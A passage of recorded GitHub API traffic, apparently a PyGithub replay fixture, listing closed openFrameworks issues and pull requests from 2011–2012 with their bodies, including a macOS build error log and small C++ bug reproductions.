4.2.","labels":[],"closed_at":"2011-11-20T15:46:34Z","created_at":"2011-11-20T12:57:55Z","state":"closed","user":{"url":"https://api.github.com/users/yaxinhoo","gravatar_id":"c9537df6f84698967c217c189d18a149","login":"yaxinhoo","avatar_url":"https://secure.gravatar.com/avatar/c9537df6f84698967c217c189d18a149?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":405604},"id":2292343,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-11-17T15:20:52Z","body":"Hello, \r\nI am trying to set up the project files for XCode on a newly cloned openFrameworks on a MacBook running MacOS 10.7.2 with XCode 3.2.5. When doing build and run on deployExamples, I get 11 errors such as: \r\nerror: 'MacSetRect' was not declared in this scope\r\n (see full details below): \r\n\r\nCould someone please help? \r\n\r\n\r\nCompileC build/openFrameworksLib.build/Debug/openFrameworks.build/Objects-normal/i386/ofQuickTimeGrabber.o ../../../openFrameworks/video/ofQuickTimeGrabber.cpp normal i386 c++ com.apple.compilers.gcc.4_2\r\ncd /Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx\r\nsetenv LANG en_US.US-ASCII\r\n/Developer-3.2.5/usr/bin/gcc-4.2 -x c++ -arch i386 -fmessage-length=0 -pipe -Wno-trigraphs -fpascal-strings -fasm-blocks -Os -ftree-vectorize -msse3 -mssse3 -Wno-deprecated-declarations -Wno-invalid-offsetof -gdwarf-2 -I/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/build/openFrameworksLib.build/Debug/openFrameworks.build/openFrameworksDebug.hmap -F/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../lib/osx -I/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../lib/osx/include -I../../../../libs/openFrameworks -I../../../../libs/openFrameworks/3d -I../../../../libs/openFrameworks/app -I../../../../libs/openFrameworks/communication -I../../../../libs/openFrameworks/events -I../../../../libs/openFrameworks/gl -I../../../../libs/openFrameworks/graphics -I../../../../libs/openFrameworks/math -I../../../../libs/openFrameworks/sound -I../../../../libs/openFrameworks/types -I../../../../libs/openFrameworks/utils -I../../../../libs/openFrameworks/video -I../../../../libs/poco/include -I../../../../libs/freetype/include -I../../../../libs/freetype/include/freetype2 -I../../../../libs/fmodex/include -I../../../../libs/glew/include -I../../../../libs/FreeImage/include -I../../../../libs/tess2/include -I../../../../libs/cairo/include/cairo -I../../../../libs/rtaudio/include -I/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/build/openFrameworksLib.build/Debug/openFrameworks.build/DerivedSources/i386 -I/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/build/openFrameworksLib.build/Debug/openFrameworks.build/DerivedSources -D__MACOSX_CORE__ -lpthread -c /Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQuickTimeGrabber.cpp -o /Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/build/openFrameworksLib.build/Debug/openFrameworks.build/Objects-normal/i386/ofQuickTimeGrabber.o\r\n\r\n/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQuickTimeGrabber.cpp: In member function 'virtual bool ofQuickTimeGrabber::initGrabber(int, int)':\r\n/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQuickTimeGrabber.cpp:109: error: 'MacSetRect' was not declared in this scope\r\n/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQuickTimeGrabber.cpp:125: error: 'GetGWorldPixMap' was not declared in this scope\r\n/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQuickTimeGrabber.cpp:125: error: 'LockPixels' was not declared in this scope\r\n/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQuickTimeGrabber.cpp:126: error: 'SetGWorld' was not declared in this scope\r\n\r\nCompileC build/openFrameworksLib.build/Debug/openFrameworks.build/Objects-normal/i386/ofQuickTimePlayer.o ../../../openFrameworks/video/ofQuickTimePlayer.cpp normal i386 c++ com.apple.compilers.gcc.4_2\r\ncd /Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx\r\nsetenv LANG en_US.US-ASCII\r\n/Developer-3.2.5/usr/bin/gcc-4.2 -x c++ -arch i386 -fmessage-length=0 -pipe -Wno-trigraphs -fpascal-strings -fasm-blocks -Os -ftree-vectorize -msse3 -mssse3 -Wno-deprecated-declarations -Wno-invalid-offsetof -gdwarf-2 -I/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/build/openFrameworksLib.build/Debug/openFrameworks.build/openFrameworksDebug.hmap -F/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../lib/osx -I/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../lib/osx/include -I../../../../libs/openFrameworks -I../../../../libs/openFrameworks/3d -I../../../../libs/openFrameworks/app -I../../../../libs/openFrameworks/communication -I../../../../libs/openFrameworks/events -I../../../../libs/openFrameworks/gl -I../../../../libs/openFrameworks/graphics -I../../../../libs/openFrameworks/math -I../../../../libs/openFrameworks/sound -I../../../../libs/openFrameworks/types -I../../../../libs/openFrameworks/utils -I../../../../libs/openFrameworks/video -I../../../../libs/poco/include -I../../../../libs/freetype/include -I../../../../libs/freetype/include/freetype2 -I../../../../libs/fmodex/include -I../../../../libs/glew/include -I../../../../libs/FreeImage/include -I../../../../libs/tess2/include -I../../../../libs/cairo/include/cairo -I../../../../libs/rtaudio/include -I/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/build/openFrameworksLib.build/Debug/openFrameworks.build/DerivedSources/i386 -I/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/build/openFrameworksLib.build/Debug/openFrameworks.build/DerivedSources -D__MACOSX_CORE__ -lpthread -c /Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQuickTimePlayer.cpp -o /Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/build/openFrameworksLib.build/Debug/openFrameworks.build/Objects-normal/i386/ofQuickTimePlayer.o\r\n\r\n/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQuickTimePlayer.cpp: In destructor 'virtual ofQuickTimePlayer::~ofQuickTimePlayer()':\r\n/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQuickTimePlayer.cpp:142: error: 'DisposeGWorld' was not declared in this scope\r\n/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQuickTimePlayer.cpp: In member function 'void ofQuickTimePlayer::createImgMemAndGWorld()':\r\n/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQuickTimePlayer.cpp:249: error: 'GetGWorldPixMap' was not declared in this scope\r\n/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQuickTimePlayer.cpp:249: error: 'LockPixels' was not declared in this scope\r\n/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQuickTimePlayer.cpp:250: error: 'SetGWorld' was not declared in this scope\r\n/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQuickTimePlayer.cpp: In member function 'virtual bool ofQuickTimePlayer::loadMovie(std::string)':\r\n/Users/iani/Documents/projects_ongoing/openFrameworks/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQuickTimePlayer.cpp:295: error: 'DisposeGWorld' was not declared in this scope\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/813","comments":6,"milestone":null,"number":813,"html_url":"https://github.com/openframeworks/openFrameworks/issues/813","assignee":null,"title":"deployExamples produces 11 compile errors on MacOS 10.7.2","labels":[],"closed_at":"2011-11-17T11:37:36Z","created_at":"2011-11-16T21:07:09Z","state":"closed","user":{"url":"https://api.github.com/users/iani","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","login":"iani","avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":181956},"id":2261720,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-11-17T03:26:45Z","body":"Working with this file https://github.com/jvcleave/ofxIPhoneTracker/blob/develop/src/testApp.cpp\r\n\r\nI am seeing a color shift when using OF:Develop branch\r\n\r\nhttp://i41.tinypic.com/2dtvgh1.jpg\r\n\r\nHowever, OF:master is ok\r\n\r\nhttp://i43.tinypic.com/1dikz.jpg","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/812","comments":7,"milestone":null,"number":812,"html_url":"https://github.com/openframeworks/openFrameworks/issues/812","assignee":null,"title":"Color shift in OF:Develop (ok in Master)","labels":[],"closed_at":"2011-11-17T03:26:45Z","created_at":"2011-11-16T20:38:47Z","state":"closed","user":{"url":"https://api.github.com/users/jvcleave","gravatar_id":"9c0384a91739bea093f453cf40a59742","login":"jvcleave","avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":150037},"id":2261395,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-25T18:31:14Z","body":"Added function and types to return sound devices as a vector of ofStreamDevices and to setDeviceID by name (handy when you have several audio devices in an installation and need to make sure you are using the right one). Also made setDeviceID return a bool where it was possible and issued ofLogWarnings where it is not.\r\n\r\nUpdated the examples as well.\r\n\r\nFor other installations I've done similar modifications to ofVideoGrabber, ofVideoPlayer etc\r\n\r\nI'm wondering if it's worth abstracting this to have an ofBaseDevice type and then variously: ofStreamDevice, ofSerialDevice, ofVideoDevice etc? With all 'device' managing classes enforcing listDevices() return a vector of the appropriate type of device? And indeed all those classes having an ofBaseDeviceManager class that enforces a common syntax for devices: such as getDevices (instead of listDevices) etc -> perhaps I should put this up for discussion in the forum?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/809","comments":2,"milestone":null,"number":809,"html_url":"https://github.com/openframeworks/openFrameworks/issues/809","assignee":null,"title":"Feature of sound stream","labels":[],"closed_at":"2012-02-25T18:31:14Z","created_at":"2011-11-11T05:12:58Z","state":"closed","user":{"url":"https://api.github.com/users/gameoverhack","gravatar_id":"397ac2141aace0681a354185e7efb0f1","login":"gameoverhack","avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331599},"id":2206447,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/809","patch_url":"https://github.com/openframeworks/openFrameworks/pull/809.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/809.diff"}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=14&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4982'), ('content-length', '35329'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"5f2c45187900a6bfc7bcadf4b00756c3"'), ('date', 'Tue, 29 May 2012 18:46:34 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"closed","user":{"gravatar_id":"397ac2141aace0681a354185e7efb0f1","url":"https://api.github.com/users/gameoverhack","login":"gameoverhack","id":331599,"avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Feature of sound player get volume","html_url":"https://github.com/openframeworks/openFrameworks/issues/808","comments":0,"assignee":null,"updated_at":"2012-01-20T12:50:34Z","body":"Added getVolume() to ofSoundPlayer.\r\n\r\nNB: I had a strange problem with openALSoundPlayer where Xcode kept complaining if I implemented getVolume as a pure virtual function in ofBaseSoundPlayer (which it should be)...perhaps it's just my development platform?\r\n\r\nAnnoyingly I had to change it in order to continue developing, but really it should be virtual void getVolume() = 0; in ofBaseSoundPlayer...","number":808,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/808","diff_url":"https://github.com/openframeworks/openFrameworks/pull/808.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/808.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/808","labels":[],"id":2206402,"closed_at":"2012-01-20T12:50:34Z","created_at":"2011-11-11T05:01:54Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"397ac2141aace0681a354185e7efb0f1","url":"https://api.github.com/users/gameoverhack","login":"gameoverhack","id":331599,"avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Feature of key modifiers","html_url":"https://github.com/openframeworks/openFrameworks/issues/807","comments":7,"assignee":null,"updated_at":"2012-02-25T18:23:52Z","body":"Since its pretty common to need this thought it might be worth adding to ofUtils","number":807,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/807","diff_url":"https://github.com/openframeworks/openFrameworks/pull/807.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/807.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/807","labels":[],"id":2206382,"closed_at":"2012-02-25T18:23:52Z","created_at":"2011-11-11T04:53:33Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofShader::linkProgram() should return false when it fails","html_url":"https://github.com/openframeworks/openFrameworks/issues/806","comments":2,"assignee":null,"updated_at":"2012-05-14T11:24:45Z","body":"right now linkProgram() only returns false when there is no shader to link, but still returns true when it fails to link.","number":806,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/806","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":2196040,"closed_at":"2012-05-14T11:24:45Z","created_at":"2011-11-10T09:19:31Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofColor bugs","html_url":"https://github.com/openframeworks/openFrameworks/issues/805","comments":3,"assignee":null,"updated_at":"2011-11-10T05:58:27Z","body":"closes #804. fixes an oversaturation bug, overbrightness bug, desaturation bug, and gray setHsb bug.","number":805,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/805","diff_url":"https://github.com/openframeworks/openFrameworks/pull/805.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/805.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/805","labels":[],"id":2194737,"closed_at":"2011-11-10T05:58:27Z","created_at":"2011-11-10T04:54:00Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"setHSB / getHSB is broken ","html_url":"https://github.com/openframeworks/openFrameworks/issues/804","comments":8,"assignee":null,"updated_at":"2011-11-10T05:58:29Z","body":"this should draw two black squares, but it draws a black square and then a white square ( 255, 255, 255 ) \r\n\r\n\tofColor c; \r\n\tc.set(1, 1, 1); \r\n\r\n\tofSetColor(c); \r\n\tofRect(0, 0, 100, 100); \r\n\t\r\n\tfloat h, s, v = 0.0;\r\n\tc.getHsb(h, s, v);\r\n\tc.setHsb(h, s, v);\r\n\r\n\tofSetColor(c); \r\n\tofRect(100, 0, 100, 100); ","number":804,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/804","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":2191717,"closed_at":"2011-11-10T05:58:29Z","created_at":"2011-11-09T21:45:24Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"24a17bf6ee1c1ea2f24a8015a5eb63c1","url":"https://api.github.com/users/leorobot","login":"leorobot","id":1172107,"avatar_url":"https://secure.gravatar.com/avatar/24a17bf6ee1c1ea2f24a8015a5eb63c1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"AssimpExample OSX","html_url":"https://github.com/openframeworks/openFrameworks/issues/803","comments":4,"assignee":null,"updated_at":"2011-12-02T15:15:50Z","body":"Hi all !\r\n\r\nMaybe this may be a very dumb question... I tried to build the assimpExample in my MAC with OSX and Xcode (using of course the 007 OF version) and the build process was successful. However, after this, I tried to run it but It did not do it !! It's very strange, because I tried to run other examples and they did run. In fact, I was thinking there was a problem with the OpenGL, but I tried to run the 3DmodelLoaded example and another one working with OpenGL and both of them worked perfectly.\r\n\r\nAny idea ??\r\n\r\nBest,\r\n\r\nLeoRobot","number":803,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/803","labels":[],"id":2142759,"closed_at":"2011-12-02T15:15:50Z","created_at":"2011-11-04T11:12:48Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a23d62f208aaa5793d80dff557f59187","url":"https://api.github.com/users/trentbrooks","login":"trentbrooks","id":578782,"avatar_url":"https://secure.gravatar.com/avatar/a23d62f208aaa5793d80dff557f59187?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"osx lion 10.7 and ofImage/ofPixels bug?","html_url":"https://github.com/openframeworks/openFrameworks/issues/802","comments":2,"assignee":null,"updated_at":"2012-02-08T08:36:38Z","body":"I've slowly been migrating an OF project from another machine on osx 10.6 to one on osx lion 10.7 and have noticed 2 weird bugs with ofImage. Note, I've already changed base sdk to 10.6 for projects + targets as suggested here https://github.com/openframeworks/openFrameworks/issues/573 which works fine except for these issues.\r\n\r\n1) When loading an image with dimensions exactly 1280x720, if fails every time and stops at the swapRGB method in ofPixels? You can test this with the 'imageLoaderExample' just change the first line in setup to load any image you have that's 1280x720. Here's an image to save to the data/images folder if you want to test: http://trentbrooks.com/files/testImage.jpg\r\n\r\n// first line in setup\r\nbikers.loadImage(\"images/testImage.jpg\");\r\n\r\nI've got around this for now by changing the image size to 1282x722.\r\n\r\nUPDATE... just noticed this happens for images 1024x768 as well.\r\n\r\n2) I've noticed when loading images from within a thread, loading fails with 'OF: OF_LOG_ERROR: Couldn't load image... '. From what I can tell, it prepends \"../../../data/\" to whatever string you pass to loadImage().\r\n\r\nI've got around this by adding ofToDataPath(\"whatever.jpg\") inside the loadImage() function. But this didn't happen in 10.6.\r\n\r\nThanks.","number":802,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/802","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":2129168,"closed_at":"2012-02-08T08:36:38Z","created_at":"2011-11-03T03:53:24Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"0f88fd202fd91181787105ee0611ef39","url":"https://api.github.com/users/atduskgreg","login":"atduskgreg","id":165,"avatar_url":"https://secure.gravatar.com/avatar/0f88fd202fd91181787105ee0611ef39?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Polyline include","html_url":"https://github.com/openframeworks/openFrameworks/issues/801","comments":6,"assignee":null,"updated_at":"2011-10-31T09:45:07Z","body":"Moved functions for checking to see whether a point is contained inside of a polygon from ofMath to be a static function on ofPolyline as discussed in issue #800. New function is ofPolyline::include() with two signatures (exactly in parallel with the two it had when it was ofInsidePoly()).\r\n\r\n(Note for some reason Github is generating this pull request to include two older commits as well as the two on my polyline-include branch. My branch (atrudskgreg/openframeworks/polyline-include) should merge cleanly into the HEAD of openframeworks/openframeworks/develop)\r\n\r\n-- Greg","number":801,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/801","diff_url":"https://github.com/openframeworks/openFrameworks/pull/801.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/801.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/801","labels":[],"id":2091018,"closed_at":"2011-10-31T09:45:07Z","created_at":"2011-10-30T15:54:08Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"8022cb5f529975afbc64cc9312008d8c","url":"https://api.github.com/users/nardove","login":"nardove","id":277690,"avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"enableAntiAliasing() on iOS incompatible with ofxiPhoneScreenGrab()","html_url":"https://github.com/openframeworks/openFrameworks/issues/799","comments":2,"assignee":null,"updated_at":"2012-03-09T06:34:00Z","body":"Setting the following in main.h\r\n\r\n```c++\r\nofAppiPhoneWindow *iOSWindow = new ofAppiPhoneWindow();\r\niOSWindow->enableRetinaSupport();\r\niOSWindow->enableAntiAliasing( 4 );\r\n\r\nofSetupOpenGL( iOSWindow, 480, 320, OF_FULLSCREEN );\r\n\r\nofRunApp( new testApp );\r\n```\r\n\r\nresults in black images from ofxiPhoneScreenGrab()","number":799,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/799","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":2086898,"closed_at":"2012-03-09T06:34:00Z","created_at":"2011-10-29T13:13:06Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxVectorGraphics :: beginEPS - bug with applying translation.","html_url":"https://github.com/openframeworks/openFrameworks/issues/796","comments":0,"assignee":null,"updated_at":"2012-01-20T12:33:37Z","body":"picked up on a small bug in this line,\r\ncreeps.applyTranslation(0, ofGetHeight());\r\n\r\nit should be,\r\ncreeps.applyTranslation(0, h);\r\n\r\nif the user specifies a dimension different to the window size, the h property needs to be used instead of ofGetHeight() otherwise the positioning inside the EPS gets messed up.","number":796,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/796","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"65a300","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":2074949,"closed_at":"2012-01-20T12:33:37Z","created_at":"2011-10-28T01:55:23Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"4a503abeaa3d803e55e99093fbf1505d","url":"https://api.github.com/users/falcon4ever","login":"falcon4ever","id":480019,"avatar_url":"https://secure.gravatar.com/avatar/4a503abeaa3d803e55e99093fbf1505d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Windows compatibility patches for the oF Develop branch","html_url":"https://github.com/openframeworks/openFrameworks/issues/794","comments":6,"assignee":null,"updated_at":"2012-02-19T23:30:58Z","body":"- Patches required to compile openFrameworks for Android on the Windows platform (Requires MinGW/MSYS, details are explained in links below)\r\n- Patches required to compile Android demo applications on Windows\r\n- Updated ofAndroidlib and Android demo projects to be compatible with Android SDK r14 (New build.xml and property files)\r\n- All demo applications work correctly on Android 2.3.6 stock (Nexus One)\r\n\r\nAdditional information:\r\n- http://www.multigesture.net/articles/how-to-setup-openframeworks-for-android-on-windows/\r\n- http://forum.openframeworks.cc/index.php/topic,7046.msg32895.html#msg32895\r\n\r\n19/11/2011:\r\nAdded updates for NDK r7","number":794,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/794","diff_url":"https://github.com/openframeworks/openFrameworks/pull/794.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/794.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/794","labels":[],"id":2057482,"closed_at":"2012-02-19T23:30:58Z","created_at":"2011-10-26T14:53:58Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"58512428c7499b4bdcbeefd049743cc4","url":"https://api.github.com/users/dallastaylor","login":"dallastaylor","id":54482,"avatar_url":"https://secure.gravatar.com/avatar/58512428c7499b4bdcbeefd049743cc4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Bugfix autoreleasepool","html_url":"https://github.com/openframeworks/openFrameworks/issues/792","comments":4,"assignee":null,"updated_at":"2012-02-25T18:22:42Z","body":"I added an objective-c file so NSAutoreleasePool can be used to resolve the memory leak caused by the OSX alert dialog, as documented in Issue #358.\r\n\r\nAlso updated the xcode project to include it in the build.\r\n\r\n","number":792,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/792","diff_url":"https://github.com/openframeworks/openFrameworks/pull/792.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/792.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/792","labels":[],"id":2029765,"closed_at":"2012-02-25T18:22:42Z","created_at":"2011-10-24T02:25:32Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"58512428c7499b4bdcbeefd049743cc4","url":"https://api.github.com/users/dallastaylor","login":"dallastaylor","id":54482,"avatar_url":"https://secure.gravatar.com/avatar/58512428c7499b4bdcbeefd049743cc4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Bugfix osx open dialog memory leak","html_url":"https://github.com/openframeworks/openFrameworks/issues/791","comments":0,"assignee":null,"updated_at":"2011-10-23T19:19:25Z","body":"The OS X open dialog has a memory leak as cfString was not being 